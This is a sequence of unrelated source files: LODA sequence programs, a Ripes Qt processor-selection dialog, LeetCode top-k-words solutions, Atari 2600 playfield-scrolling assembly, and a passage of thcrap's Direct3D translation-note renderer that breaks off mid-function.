1265,1273,1281,1289,1297,1305,1313,1321,1329,1337,1345,1353,1361,1369,1377,1385,1393,1401,1409,1417,1425,1433,1441,1449,1457,1465,1473,1481,1489,1497,1505,1513,1521,1529,1537,1545,1553,1561,1569,1577,1585,1593,1601,1609,1617,1625,1633,1641,1649,1657,1665,1673,1681,1689,1697,1705,1713,1721,1729,1737,1745 mov $2,1 lpb $0,1 add $1,$0 trn $0,$2 mul $2,2 lpe
#include "processorselectiondialog.h" #include "ui_processorselectiondialog.h" #include <QCheckBox> #include <QDialogButtonBox> #include "processorhandler.h" #include "radix.h" #include "ripessettings.h" namespace Ripes { ProcessorSelectionDialog::ProcessorSelectionDialog(QWidget* parent) : QDialog(parent), m_ui(new Ui::ProcessorSelectionDialog) { m_ui->setupUi(this); setWindowTitle("Select Processor"); // Initialize top level ISA items m_ui->processors->setHeaderHidden(true); std::map<QString, QTreeWidgetItem*> isaFamilyItems; std::map<QTreeWidgetItem*, std::map<unsigned, QTreeWidgetItem*>> isaFamilyRegWidthItems; for (const auto& isa : ISAFamilyNames) { if (isaFamilyItems.count(isa.second) == 0) { isaFamilyItems[isa.second] = new QTreeWidgetItem({isa.second}); } auto* isaItem = isaFamilyItems.at(isa.second); isaFamilyRegWidthItems[isaItem] = {}; isaItem->setFlags(isaItem->flags() & ~(Qt::ItemIsSelectable)); m_ui->processors->insertTopLevelItem(m_ui->processors->topLevelItemCount(), isaItem); } // Initialize processor list QTreeWidgetItem* selectedItem = nullptr; for (auto& desc : ProcessorRegistry::getAvailableProcessors()) { QTreeWidgetItem* processorItem = new QTreeWidgetItem({desc.second->name}); processorItem->setData(ProcessorColumn, Qt::UserRole, QVariant::fromValue(desc.second->id)); if (desc.second->id == ProcessorHandler::getID()) { // Highlight if currently selected processor auto font = processorItem->font(ProcessorColumn); font.setBold(true); processorItem->setFont(ProcessorColumn, font); selectedItem = processorItem; } const QString& isaFamily = ISAFamilyNames.at(desc.second->isaInfo().isa->isaID()); QTreeWidgetItem* familyItem = isaFamilyItems.at(isaFamily); auto& regWidthItemsForISA = isaFamilyRegWidthItems.at(familyItem); auto isaRegWidthItem = regWidthItemsForISA.find(desc.second->isaInfo().isa->bits()); if (isaRegWidthItem == regWidthItemsForISA.end()) { // Create reg width item auto* widthItem = new QTreeWidgetItem({QString::number(desc.second->isaInfo().isa->bits()) + "-bit"}); widthItem->setFlags(widthItem->flags() & ~(Qt::ItemIsSelectable)); regWidthItemsForISA[desc.second->isaInfo().isa->bits()] = widthItem; isaRegWidthItem = regWidthItemsForISA.find(desc.second->isaInfo().isa->bits()); familyItem->insertChild(familyItem->childCount(), widthItem); } isaRegWidthItem->second->insertChild(isaRegWidthItem->second->childCount(), processorItem); } connect(m_ui->processors, &QTreeWidget::currentItemChanged, this, &ProcessorSelectionDialog::selectionChanged); connect(m_ui->processors, &QTreeWidget::itemDoubleClicked, this, [=](const QTreeWidgetItem* item) { if (isCPUItem(item)) { accept(); } }); connect(m_ui->buttonBox, &QDialogButtonBox::accepted, this, &QDialog::accept); connect(m_ui->buttonBox, &QDialogButtonBox::rejected, this, &QDialog::reject); // Initialize extensions for processors; default to all available extensions for (const auto& desc : ProcessorRegistry::getAvailableProcessors()) { m_selectedExtensionsForID[desc.second->id] = desc.second->isaInfo().defaultExtensions; } m_selectedExtensionsForID[ProcessorHandler::getID()] = ProcessorHandler::currentISA()->enabledExtensions(); if (selectedItem != nullptr) { // Select the processor and layout which is currently active m_ui->processors->setCurrentItem(selectedItem); unsigned layoutID = RipesSettings::value(RIPES_SETTING_PROCESSOR_LAYOUT_ID).toInt(); if (layoutID >= ProcessorRegistry::getDescription(ProcessorHandler::getID()).layouts.size()) { layoutID = 0; } m_ui->layout->setCurrentIndex(layoutID); } } RegisterInitialization ProcessorSelectionDialog::getRegisterInitialization() const { return m_ui->regInitWidget->getInitialization(); } ProcessorSelectionDialog::~ProcessorSelectionDialog() { delete m_ui; } QStringList ProcessorSelectionDialog::getEnabledExtensions() const { return m_selectedExtensionsForID.at(m_selectedID); } bool ProcessorSelectionDialog::isCPUItem(const QTreeWidgetItem* item) const { if (!item) { return false; } QVariant selectedItemData = item->data(ProcessorColumn, Qt::UserRole); const bool validSelection = selectedItemData.canConvert<ProcessorID>(); return validSelection; } void ProcessorSelectionDialog::selectionChanged(QTreeWidgetItem* current, QTreeWidgetItem*) { if (current == nullptr) { return; } const bool validSelection = isCPUItem(current); m_ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(validSelection); if (!validSelection) { // Something which is not a processor was selected (ie. an ISA). Disable OK button return; } const ProcessorID id = qvariant_cast<ProcessorID>(current->data(ProcessorColumn, Qt::UserRole)); const auto& desc = ProcessorRegistry::getAvailableProcessors().at(id); auto isaInfo = desc->isaInfo(); // Update information widgets with the current processor info m_selectedID = id; m_ui->name->setText(desc->name); m_ui->ISA->setText(isaInfo.isa->name()); m_ui->description->setPlainText(desc->description); m_ui->regInitWidget->processorSelectionChanged(id); m_ui->layout->clear(); for (const auto& layout : desc->layouts) { m_ui->layout->addItem(layout.name); } // Setup extensions; Clear previously selected extensions and add whatever extensions are supported for the selected // processor QLayoutItem* item; while ((item = m_ui->extensions->layout()->takeAt(0)) != nullptr) { delete item->widget(); delete item; } for (const auto& ext : qAsConst(isaInfo.supportedExtensions)) { auto chkbox = new QCheckBox(ext); chkbox->setToolTip(isaInfo.isa->extensionDescription(ext)); m_ui->extensions->addWidget(chkbox); if (m_selectedExtensionsForID[desc->id].contains(ext)) { chkbox->setChecked(true); } connect(chkbox, &QCheckBox::toggled, this, [=](bool toggled) { if (toggled) { m_selectedExtensionsForID[id] << ext; } else { m_selectedExtensionsForID[id].removeAll(ext); } }); } } const Layout* ProcessorSelectionDialog::getSelectedLayout() const { const auto& desc = ProcessorRegistry::getAvailableProcessors().at(m_selectedID); auto it = llvm::find_if(desc->layouts, [&](const auto& layout) { return layout.name == m_ui->layout->currentText(); }); if (it != desc->layouts.end()) return &*it; return nullptr; } } // namespace Ripes
// first solution class Solution { public: string helper(map<string, int>& count) { int maxi=-1; string ans; map<string, int>::iterator itr; for(itr=count.begin(); itr!=count.end(); itr++) { if(itr->second > maxi) { maxi=itr->second; ans=itr->first; } } count.erase(ans); return ans; } vector<string> topKFrequent(vector<string>& words, int k) { vector<string> ans; map<string, int> count; for(int i=0; i<words.size(); i++) count[words[i]]++; while(k--) { string temp = helper(count); ans.push_back(temp); } return ans; } }; // second solution (using priority queue) class Solution { public: struct mycomp { bool operator()(const pair<string, int>& a, const pair<string, int>& b) { if(a.second == b.second) return a.first > b.first; else return b.second > a.second; } }; vector<string> topKFrequent(vector<string>& words, int k) { map<string, int> count; vector<string> ans; for(int i=0; i<words.size(); i++) count[words[i]]++; priority_queue<pair<string, int>, vector<pair<string,int>>, mycomp> q(count.begin(), count.end()); while(k--) { ans.push_back(q.top().first); q.pop(); } return ans; } };
; Provided under the CC0 license. See the included LICENSE.txt for details. pfscroll ;(a=0 left, 1 right, 2 up, 4 down, 6=upup, 12=downdown) bne notleft ;left ifconst pfres ldx #pfres*4 else ldx #48 endif leftloop lda playfield-1,x lsr ifconst superchip lda playfield-2,x rol sta playfield-130,x lda playfield-3,x ror sta playfield-131,x lda playfield-4,x rol sta playfield-132,x lda playfield-1,x ror sta playfield-129,x else rol playfield-2,x ror playfield-3,x rol playfield-4,x ror playfield-1,x endif txa sbx #4 bne leftloop RETURN notleft lsr bcc notright ;right ifconst pfres ldx #pfres*4 else ldx #48 endif rightloop lda playfield-4,x lsr ifconst superchip lda playfield-3,x rol sta playfield-131,x lda playfield-2,x ror sta playfield-130,x lda playfield-1,x rol sta playfield-129,x lda playfield-4,x ror sta playfield-132,x else rol playfield-3,x ror playfield-2,x rol playfield-1,x ror playfield-4,x endif txa sbx #4 bne rightloop RETURN notright lsr bcc notup ;up lsr bcc onedecup dec playfieldpos onedecup dec playfieldpos beq shiftdown bpl noshiftdown2 shiftdown ifconst pfrowheight lda #pfrowheight else ifnconst pfres lda #8 else lda #(96/pfres) ; try to come close to the real size endif endif sta playfieldpos lda playfield+3 sta temp4 lda playfield+2 sta temp3 lda playfield+1 sta temp2 lda playfield sta temp1 ldx #0 up2 lda playfield+4,x ifconst superchip sta playfield-128,x lda playfield+5,x sta playfield-127,x lda playfield+6,x sta playfield-126,x lda playfield+7,x sta playfield-125,x else sta playfield,x lda playfield+5,x sta playfield+1,x lda playfield+6,x sta playfield+2,x lda playfield+7,x sta playfield+3,x endif txa sbx #252 ifconst pfres cpx #(pfres-1)*4 else cpx #44 endif bne up2 lda temp4 ifconst superchip ifconst pfres sta playfield+pfres*4-129 lda temp3 sta playfield+pfres*4-130 lda temp2 sta playfield+pfres*4-131 lda temp1 sta playfield+pfres*4-132 else sta playfield+47-128 lda temp3 sta playfield+46-128 lda temp2 sta playfield+45-128 lda temp1 sta playfield+44-128 endif else ifconst pfres sta playfield+pfres*4-1 lda temp3 sta playfield+pfres*4-2 lda temp2 sta playfield+pfres*4-3 lda temp1 sta playfield+pfres*4-4 else sta playfield+47 lda temp3 sta playfield+46 lda temp2 sta playfield+45 lda temp1 sta playfield+44 endif endif noshiftdown2 RETURN notup ;down lsr bcs oneincup inc playfieldpos oneincup inc playfieldpos lda playfieldpos ifconst pfrowheight cmp #pfrowheight+1 else ifnconst pfres cmp #9 else cmp #(96/pfres)+1 ; try to come close to the real size endif endif bcc noshiftdown lda #1 sta playfieldpos ifconst pfres lda playfield+pfres*4-1 sta temp4 lda playfield+pfres*4-2 sta temp3 lda playfield+pfres*4-3 sta temp2 lda playfield+pfres*4-4 else lda playfield+47 sta temp4 lda playfield+46 sta temp3 lda playfield+45 sta temp2 lda playfield+44 endif sta temp1 ifconst pfres ldx #(pfres-1)*4 else ldx #44 endif down2 lda playfield-1,x ifconst superchip sta playfield-125,x lda playfield-2,x sta playfield-126,x lda playfield-3,x sta playfield-127,x lda playfield-4,x sta playfield-128,x else sta playfield+3,x lda playfield-2,x sta playfield+2,x lda playfield-3,x sta playfield+1,x lda playfield-4,x sta playfield,x endif txa sbx #4 bne down2 lda temp4 ifconst superchip sta playfield-125 lda temp3 sta playfield-126 lda temp2 sta playfield-127 lda temp1 sta playfield-128 else sta playfield+3 lda temp3 sta playfield+2 lda temp2 sta playfield+1 lda temp1 sta playfield endif noshiftdown RETURN
; A268810: a(n) = 2*floor(3*n*(n+1)/4). ; 0,2,8,18,30,44,62,84,108,134,164,198,234,272,314,360,408,458,512,570,630,692,758,828,900,974,1052,1134,1218,1304,1394,1488,1584,1682,1784,1890,1998,2108,2222,2340,2460,2582,2708,2838,2970,3104,3242,3384,3528,3674,3824,3978,4134,4292,4454,4620,4788,4958,5132,5310,5490,5672,5858,6048,6240,6434,6632,6834,7038,7244,7454,7668,7884,8102,8324,8550,8778,9008,9242,9480,9720,9962,10208,10458,10710,10964,11222,11484,11748,12014,12284,12558,12834,13112,13394,13680,13968,14258,14552,14850,15150,15452,15758,16068,16380,16694,17012,17334,17658,17984,18314,18648,18984,19322,19664,20010,20358,20708,21062,21420,21780,22142,22508,22878,23250,23624,24002,24384,24768,25154,25544,25938,26334,26732,27134,27540,27948,28358,28772,29190,29610,30032,30458,30888,31320,31754,32192,32634,33078,33524,33974,34428,34884,35342,35804,36270,36738,37208,37682,38160,38640,39122,39608,40098,40590,41084,41582,42084,42588,43094,43604,44118,44634,45152,45674,46200,46728,47258,47792,48330,48870,49412,49958,50508,51060,51614,52172,52734,53298,53864,54434,55008,55584,56162,56744,57330,57918,58508,59102,59700,60300,60902,61508,62118,62730,63344,63962,64584,65208,65834,66464,67098,67734,68372,69014,69660,70308,70958,71612,72270,72930,73592,74258,74928,75600,76274,76952,77634,78318,79004,79694,80388,81084,81782,82484,83190,83898,84608,85322,86040,86760,87482,88208,88938,89670,90404,91142,91884,92628,93374 add $0,1 bin $0,2 mul $0,6 div $0,4 mov $1,$0 mul $1,2
/** * Touhou Community Reliant Automatic Patcher * Main DLL * * ---- * * On-screen display of translation notes. */ #include "thcrap.h" #include <vector> #include "minid3d.h" #include "textdisp.h" #include "tlnote.hpp" #pragma comment(lib, "winmm.lib") #define COM_ERR_WRAP(func, ...) { \ HRESULT d3d_ret = func(__VA_ARGS__); \ if(FAILED(d3d_ret)) { \ return fail(#func, d3d_ret); \ } \ } /// Codepoints /// ---------- /// All of these are UTF-8-encoded. // Separates in-line TL note text (after) from regular text (before). // This is the codepoint that should be used by patch authors. #define TLNOTE_INLINE 0x14 // Indicates that the next index is a 1-based, UTF-8-encoded internal index of // a previously rendered TL note. Can appear either at the beginning or the // end of a string. #define TLNOTE_INDEX 0x12 /// ---------- /// Error reporting and debugging /// ----------------------------- logger_t tlnote_log("TL note error"); /// ----------------------------- /// Structures /// ---------- tlnote_t::tlnote_t(const stringref_t str) : str((tlnote_string_t *)str.str), len(str.len - 1) { assert(str.str[0] == TLNOTE_INLINE || str.str[0] == TLNOTE_INDEX); assert(str.len > 1); } /// ---------- /// Rendering values /// ---------------- Option<valign_t> tlnote_valign_value(const json_t *val) { auto str = json_string_value(val); if(!str) { return {}; } if(!strcmp(str, "top")) { return valign_t::top; } else if(!strcmp(str, "center")) { return valign_t::center; } else if(!strcmp(str, "bottom")) { return valign_t::bottom; } return {}; } void font_delete(HFONT font) { if(!font) { return; } typedef BOOL WINAPI DeleteObject_type( HGDIOBJ obj ); ((DeleteObject_type *)detour_top( "gdi32.dll", "DeleteObject", (FARPROC)DeleteObject ))(font); } THCRAP_API bool tlnote_env_render_t::reference_resolution_set(const vector2_t &newval) { if(newval.x <= 0 || newval.y <= 0) { tlnote_log.errorf( "Reference resolution must be positive and nonzero, got %f\xE2\x9C\x95%f", newval.x, newval.y ); return false; } _reference_resolution = newval; return true; } THCRAP_API bool tlnote_env_render_t::font_set(const LOGFONTA &lf) { font_delete(_font); // Must be CreateFont() rather than CreateFontIndirect() to // continue supporting the legacy "font" runconfig key. _font = ((CreateFontA_type *)detour_top( "gdi32.dll", "CreateFontA", (FARPROC)CreateFontU ))( lf.lfHeight, lf.lfWidth, lf.lfEscapement, lf.lfOrientation, lf.lfWeight, lf.lfItalic, lf.lfUnderline, lf.lfStrikeOut, lf.lfCharSet, lf.lfOutPrecision, lf.lfClipPrecision, lf.lfQuality, lf.lfPitchAndFamily, lf.lfFaceName ); return true; } THCRAP_API bool tlnote_env_t::region_size_set(const vector2_t &newval) { const auto &rr = _reference_resolution; if( newval.x <= 0 || newval.y <= 0 || newval.x >= rr.x || newval.y >= rr.y ) { tlnote_log.errorf( "Region size must be nonzero and smaller than the reference resolution (%f\xE2\x9C\x95%f), got %f\xE2\x9C\x95%f", rr.x, rr.y, newval.x, newval.y ); return false; } _region_w = newval.x; region_h = newval.y; return true; } THCRAP_API xywh_t tlnote_env_t::scale_to(const vector2_t &resolution, const xywh_t &val) { const auto &rr = _reference_resolution; vector2_t scale = { resolution.x / rr.x, resolution.y / rr.y }; return { val.x * scale.x, val.y * scale.y, val.w * scale.x, val.h * scale.y }; } bool tlnote_env_from_runconfig(tlnote_env_t &env) { auto fail = [] (const char *context, const char *err) { tlnote_log.errorf("{\"tlnotes\": {\"%s\"}}: %s", context, err); return false; }; #define PARSE(var, func, fail_check, on_fail, on_success) { \ auto json_value = json_object_get(cfg, #var); \ if(json_value) { \ auto parsed = func(json_value); \ if(fail_check) on_fail else on_success \ } \ } #define PARSE_TUPLE(var, func, on_success) \ PARSE(var, func, (!parsed.err.empty()), { \ fail(#var, parsed.err.c_str()); \ }, on_success) #define PARSE_FLOAT_POSITIVE(var) \ PARSE(var, json_number_value, (parsed <= 0.0f), { \ fail(#var, "Must be a positive, nonzero real number."); \ }, { \ env.var = (float)parsed; \ }); auto cfg = json_object_get(runconfig_json_get(), "tlnotes"); if(!cfg) { return true; } bool ret = true; PARSE_TUPLE(reference_resolution, json_vector2_value, { ret &= env.reference_resolution_set(parsed.v); }); PARSE_TUPLE(region_topleft, json_vector2_value, { env.region_left = parsed.v.x; env.region_top = parsed.v.y; }); PARSE_TUPLE(region_size, json_vector2_value, { ret &= env.region_size_set(parsed.v); }); PARSE(font, json_string_value, (parsed == nullptr), { fail("font", "Must be a font rule string."); }, { LOGFONTA lf = {0}; fontrule_parse(&lf, parsed); ret &= env.font_set(lf); }); PARSE(outline_radius, json_integer_value, ( !json_is_integer(json_value) || parsed < 0 || parsed > OUTLINE_RADIUS_MAX ), { fail("outline_radius", "Must be an integer between 0 and " OUTLINE_RADIUS_MAX_STR "."); }, { env.outline_radius = (uint8_t)parsed; }); PARSE_FLOAT_POSITIVE(fade_ms); PARSE_FLOAT_POSITIVE(read_speed); PARSE(valign, tlnote_valign_value, (parsed.is_none()), { fail("valign", TLNOTE_VALIGN_ERROR); }, { env.valign = parsed.unwrap(); }); #undef PARSE_FLOAT_POSITIVE #undef PARSE_TUPLE #undef PARSE return ret; } tlnote_env_t& tlnote_env() { static struct tlnote_env_static_wrap_t { tlnote_env_t env; // TODO: We might want to continuously nag the patch author once // we actually make the runconfig repatchable, but for now... tlnote_env_static_wrap_t() { tlnote_env_from_runconfig(env); } ~tlnote_env_static_wrap_t() { font_delete(env.font()); } } env_wrap; return env_wrap.env; } /// ---------------- /// Direct3D pointers /// ----------------- // Game support modules might want to pre-render TL notes before the game // created its IDirect3DDevice instance. d3d_version_t d3d_ver = D3D_NONE; IDirect3DDevice *d3dd = nullptr; /// ----------------- /// Texture creation /// ---------------- struct tlnote_rendered_t { // "Primary key" data // ------------------- std::string note; tlnote_env_render_t render_env; // ------------------- // Runtime stuff // ------------- IDirect3DTexture *tex = nullptr; unsigned int tex_w; unsigned int tex_h; // ------------- IDirect3DTexture* render(d3d_version_t ver, IDirect3DDevice *d3dd); bool matches(const stringref_t &n2, const tlnote_env_render_t &r2) const { return (note.size() == n2.len) && (render_env == r2) && (note.compare(n2.str) == 0); } tlnote_rendered_t(const stringref_t &note, tlnote_env_render_t render_env) : note({ note.str, (size_t)note.len }), render_env(render_env) { } }; IDirect3DTexture* tlnote_rendered_t::render(d3d_version_t ver, IDirect3DDevice *d3dd) { if(tex) { return tex; } const stringref_t formatted_note = { note.c_str(), (int)note.length() }; auto fail = [formatted_note] (const char *func, HRESULT ret) { log_printf( "(TL notes) Error rendering \"%.*s\": %s returned 0x%x\n", formatted_note.len, formatted_note.str, func, ret ); return nullptr; }; auto hDC = CreateCompatibleDC(GetDC(0)); SelectObject(hDC, render_env.font()); RECT gdi_rect = { 0, 0, (LONG)render_env.region_w(), 0 }; DrawText(hDC, formatted_note.str, formatted_note.len, &gdi_rect, DT_CALCRECT | DT_WORDBREAK | DT_CENTER ); // We obviously want 24-bit for ClearType in case the font supports it. // No need to waste the extra 8 bits for an "alpha channel" that GDI // doesn't support and sets to 0 on every rendering call anyway, though. BITMAPINFOHEADER bmi = { 0 }; bmi.biSize = sizeof(bmi); bmi.biBitCount = 24; bmi.biWidth = gdi_rect.right; bmi.biHeight = -gdi_rect.bottom; bmi.biPlanes = 1; bmi.biCompression = BI_RGB; struct dib_pixel_t { uint8_t r, g, b; }; uint8_t *dib_bits = nullptr; auto hBitmap = CreateDIBSection(hDC, (BITMAPINFO *)&bmi, 0, (void**)&dib_bits, nullptr, 0 ); if(!hBitmap) { return fail("CreateDIBSection", GetLastError()); } SelectObject(hDC, hBitmap); SetTextColor(hDC, 0xFFFFFF); SetBkColor(hDC, 0x000000); SetBkMode(hDC, TRANSPARENT); DrawText(hDC, formatted_note.str, formatted_note.len, &gdi_rect, DT_WORDBREAK | DT_CENTER ); BITMAP bmp; GetObject(hBitmap, sizeof(bmp), &bmp); const auto &outline_radius = render_env.outline_radius; tex_w = gdi_rect.right + (outline_radius * 2); tex_h = gdi_rect.bottom + (outline_radius * 2); // TODO: Is there still 3dfx Voodoo-style limited 3D hardware // out there today that needs to be worked around? COM_ERR_WRAP(d3dd_CreateTexture, ver, d3dd, tex_w, tex_h, 1, 0, D3DFMT_A8R8G8B8, D3DPOOL_MANAGED, &tex ); struct d3d_pixel_t { uint8_t b, g, r, a; }; D3DSURFACE_DESC tex_desc; D3DLOCKED_RECT lockedrect; COM_ERR_WRAP(d3dtex_GetLevelDesc, ver, tex, 0, &tex_desc); COM_ERR_WRAP(d3dtex_LockRect, ver, tex, 0, &lockedrect, nullptr, 0); auto tex_bits = (uint8_t *)lockedrect.pBits; // Shift the texture write pointer by the outline height tex_bits += lockedrect.Pitch * outline_radius; auto outside_circle = [] (int x, int y, int radius) { return (x * x) + (y * y) > (radius * radius); }; for(LONG y = 0; y < gdi_rect.bottom; y++) { auto dib_col = ((dib_pixel_t *)dib_bits); // Shift the texture write pointer by the outline width auto tex_col = ((d3d_pixel_t *)tex_bits) + outline_radius; for(LONG x = 0; x < gdi_rect.right; x++) { auto alpha = MAX(MAX(dib_col->r, dib_col->g), dib_col->b); tex_col->r = dib_col->r; tex_col->g = dib_col->g; tex_col->b = dib_col->b; if(alpha > 0) { for(int oy = -outline_radius; oy <= outline_radius; oy++) { for(int ox = -outline_radius; ox <= outline_radius; ox++) { if(outside_circle(ox, oy, outline_radius)) { continue; } auto *outline_p = (d3d_pixel_t*)( ((uint8_t*)tex_col) - (lockedrect.Pitch * oy) ) + ox; outline_p->a = MAX(outline_p->a, alpha); } } } dib_col++; tex_col++; } tex_bits += lockedrect.Pitch; dib_bits += bmp.bmWidthBytes; } COM_ERR_WRAP(d3dtex_UnlockRect, ver, tex, 0); DeleteObject(hBitmap); DeleteDC(hDC); return tex; } /// ---------------- /// Indexing of rendered TL notes /// ----------------------------- std::vector<tlnote_rendered_t> rendered; // The encoded index of RENDERED_NONE, which can be used for timed removal of // TL notes, will be (this number + RENDERED_OFFSET), which must be encodable // in UTF-8. -1 for RENDERED_NONE and 2 for RENDERED_OFFSET means that // RENDERED_NONE encodes to U+0001, the smallest possible encodable number // (since U+0000 would immediately terminate the string), with rendered[0] // mapping to 2. #define RENDERED_NONE -1 #define SURROGATE_START (0xD800) #define SURROGATE_END (0xE000) #define SURROGATE_COUNT (SURROGATE_END - SURROGATE_START) // Encoded index that maps to the first entry in [rendered]. #define RENDERED_OFFSET 2 // Excluding '\0' as well as the UTF-16 surrogate halves (how nice of us!) #define RENDERED_MAX (0x10FFFF - SURROGATE_COUNT) // These basically follow the UTF-8 spec, except that the index can include // the range of UTF-16 surrogate halves. tlnote_encoded_index_t::tlnote_encoded_index_t(int32_t index) { assert(index >= 1 && index <= RENDERED_MAX); type = TLNOTE_INDEX; if(index >= SURROGATE_START) { index += SURROGATE_COUNT; } if(index < 0x80) { index_as_utf8[0] = (char)index; index_len = 1; } else if(index < 0x800) { index_as_utf8[0] = 0xC0 + ((index & 0x7C0) >> 6); index_as_utf8[1] = 0x80 + ((index & 0x03F)); index_len = 2; } else if(index < 0x10000) { index_as_utf8[0] = 0xE0 + ((index & 0xF000) >> 12); index_as_utf8[1] = 0x80 + ((index & 0x0FC0) >> 6); index_as_utf8[2] = 0x80 + ((index & 0x003F)); index_len = 3; } else if(index <= 0x10FFFF) { index_as_utf8[0] = 0xF0 + ((index & 0x1C0000) >> 18); index_as_utf8[1] = 0x80 + ((index & 0x03F000) >> 12); index_as_utf8[2] = 0x80 + ((index & 0x000FC0) >> 6); index_as_utf8[3] = 0x80 + ((index & 0x00003F)); index_len = 4; } } // Returns -1 and [byte_len] = 0 on failure. int32_t index_from_utf8(unsigned char &byte_len, const char buf[4]) { auto fail = [&byte_len] () { byte_len = 0; return -1; }; unsigned char codepoint_bits; unsigned char bits_seen; if((buf[0] & 0x80) == 0) { byte_len = 1; return buf[0]; } else if((buf[0] & 0xe0) == 0xc0) { codepoint_bits = 11; bits_seen = 5; byte_len = 2; } else if((buf[0] & 0xf0) == 0xe0) { codepoint_bits = 16; bits_seen = 4; byte_len = 3; } else if((buf[0] & 0xf8) == 0xf0) { codepoint_bits = 21; bits_seen = 3; byte_len = 4; } else { return fail(); } int32_t bits = buf[0] & (0xff >> (8 - bits_seen)); int32_t index = bits << (codepoint_bits - bits_seen); unsigned char i = 1; for(; i < byte_len; i++) { if((buf[i] & 0xc0) != 0x80) { return fail(); } bits_seen += 6; bits = buf[i] & 0x3f; index |= bits << (codepoint_bits - bits_seen); } if(index >= SURROGATE_START) { index -= SURROGATE_COUNT; } assert(index >= 1 && index <= RENDERED_MAX); return index; } bool operator ==(const std::string &a, const stringref_t &b) { return (a.size() == b.len) && (a.compare(b.str) == 0); } int32_t tlnote_render(const stringref_t &note) { const auto &env = tlnote_env(); if(!env.complete()) { log_printf("(TL notes) No region defined\n"); return RENDERED_NONE; } for(int32_t i = 0; i < (int32_t)rendered.size(); i++) { if(rendered[i].matches(note, env)) { return i; } } tlnote_rendered_t r{ note, env }; auto index = rendered.size(); if(index >= RENDERED_MAX) { // You absolute madman. static int32_t madness_index = 0; index = madness_index; madness_index = (madness_index + 1) % RENDERED_MAX; rendered[index] = r; } rendered.emplace_back(r); // Render any outstanding TL notes that were created // while we didn't have an IDirect3DDevice. static bool got_unrendered_notes = false; if(d3d_ver == D3D_NONE || d3dd == nullptr) { got_unrendered_notes = true; } else if(got_unrendered_notes) { for(auto &v : rendered) { v.render(d3d_ver, d3dd); } got_unrendered_notes = false; } else { rendered.back().render(d3d_ver, d3dd); } return index; } /// ----------------------------- /// Render calls and detoured functions /// ----------------------------------- d3dd_EndScene_type *chain_d3dd8_EndScene; d3dd_EndScene_type *chain_d3dd9_EndScene; int32_t id_active = RENDERED_NONE; bool tlnote_frame(d3d_version_t ver, IDirect3DDevice *d3dd) { d3d_ver = ver; ::d3dd = d3dd; // What do we render? // ------------------ static decltype(id_active) id_last = RENDERED_NONE; static DWORD time_birth = 0; defer({ id_last = id_active; }); if(id_active == RENDERED_NONE) { return true; } auto now = timeGetTime(); if(id_last != id_active) { time_birth = now; } // OK, *something.* // ------------------ auto fail = [] (const char *func, HRESULT ret) { static const char *func_last = nullptr; if(func_last != func) { log_printf( "(TL notes) Rendering error: %s returned 0x%x\n", func, ret ); func_last = func; } return false; }; // IDirect3DDevice9::Reset() would fail with D3DERR_INVALIDCALL if any // state blocks still exist, so we couldn't just have a single static // one that we create once. It's fast enough to do this every frame // anyway. IDirect3DStateBlock sb_game; d3dd_CreateStateBlock(ver, d3dd, D3DSBT_ALL, &sb_game); d3dd_CaptureStateBlock(ver, d3dd, sb_game); // Retrieve back buffer and set viewport // ------------------------------------- IDirect3DSurface *backbuffer = nullptr; D3DSURFACE_DESC backbuffer_desc; D3DVIEWPORT viewport; COM_ERR_WRAP(d3dd_GetBackBuffer, ver, d3dd, 0, D3DBACKBUFFER_TYPE_MONO, &backbuffer ); defer({ backbuffer->Release(); }); COM_ERR_WRAP(d3ds_GetDesc, ver, backbuffer, &backbuffer_desc); viewport.X = 0; viewport.Y = 0; viewport.Width = backbuffer_desc.Width; viewport.Height = backbuffer_desc.Height; viewport.MinZ = 0.0f; viewport.MaxZ = 1.0f; d3dd_SetViewport(ver, d3dd, &viewport); // ------------------------------------- // Shared render states // -------------------- d3dd_SetRenderState(ver, d3dd, D3DRS_ALPHATESTENABLE, false); d3dd_SetRenderState(ver, d3dd, D3DRS_SRCBLEND, D3DBLEND_SRCALPHA); d3dd_SetRenderState(ver, d3dd, D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA); d3dd_SetTextureStageState(ver, d3dd, 0, D3DTSS_ALPHAARG2, D3DTA_DIFFUSE); d3dd_SetTextureStageState(ver, d3dd, 0, D3DTSS_COLORARG2, D3DTA_DIFFUSE); // -------------------- // Render calls // ------------ struct quad_t { float left, top, right, bottom; quad_t(const xywh_t &xywh) : left(xywh.x), right(xywh.x + xywh.w), top(xywh.y), bottom(xywh.y + xywh.h) { } }; auto render_textured_quad = [&] ( const quad_t &q, uint32_t col_diffuse, float texcoord_y, float texcoord_h ) { d3dd_SetFVF(ver, d3dd, D3DFVF_XYZRHW | D3DFVF_DIFFUSE | D3DFVF_TEX1); d3dd_SetRenderState(ver, d3dd, D3DRS_ALPHABLENDENABLE, true); d3dd_SetTextureStageState(ver, d3dd, 0, D3DTSS_ALPHAARG1, D3DTA_TEXTURE); d3dd_SetTextureStageState(ver, d3dd, 0, D3DTSS_COLORARG1, D3DTA_TEXTURE); struct fvf_xyzrhw_diffuse_tex1_t { vector3_t pos; float rhw; uint32_t col_diffuse; vector2_t texcoords; }; auto texcoord_top = texcoord_y; auto texcoord_bottom = texcoord_y + texcoord_h; fvf_xyzrhw_diffuse_tex1_t verts[] = { { {q.left, q.top, 0.0f}, 1.0f, col_diffuse, {0.0f, texcoord_top} }, { {q.right, q.top, 0.0f}, 1.0f, col_diffuse, {1.0f, texcoord_top} }, { {q.left, q.bottom, 0.0f}, 1.0f, col_diffuse, {0.0f, texcoord_bottom} }, { {q.right, q.bottom, 0.0f}, 1.0f, col_diffuse, {1.0f, texcoord_bottom} }, }; d3dd_DrawPrimitiveUP(ver, d3dd, D3DPT_TRIANGLESTRIP, elementsof(verts) - 2, verts, sizeof(verts[0]) ); }; auto render_colored_quad = [&] (quad_t q, uint32_t col_diffuse) { d3dd_SetFVF(ver, d3dd, D3DFVF_XYZRHW | D3DFVF_DIFFUSE); d3dd_SetRenderState(ver, d3dd, D3DRS_ALPHABLENDENABLE, false); d3dd_SetTextureStageState(ver, d3dd, 0, D3DTSS_ALPHAARG1, D3DTA_DIFFUSE); d3dd_SetTextureStageState(ver, d3dd, 0, D3DTSS_COLORARG1, D3DTA_DIFFUSE); struct fvf_xyzrwh_diffuse_t { vector3_t pos; float rhw; uint32_t col_diffuse; }; fvf_xyzrwh_diffuse_t verts[] = { { {q.left, q.top, 0.0f}, 1.0f, col_diffuse }, { {q.right, q.top, 0.0f}, 1.0f, col_diffuse }, { {q.right, q.bottom, 0.0f}, 1.0f, col_diffuse }, { 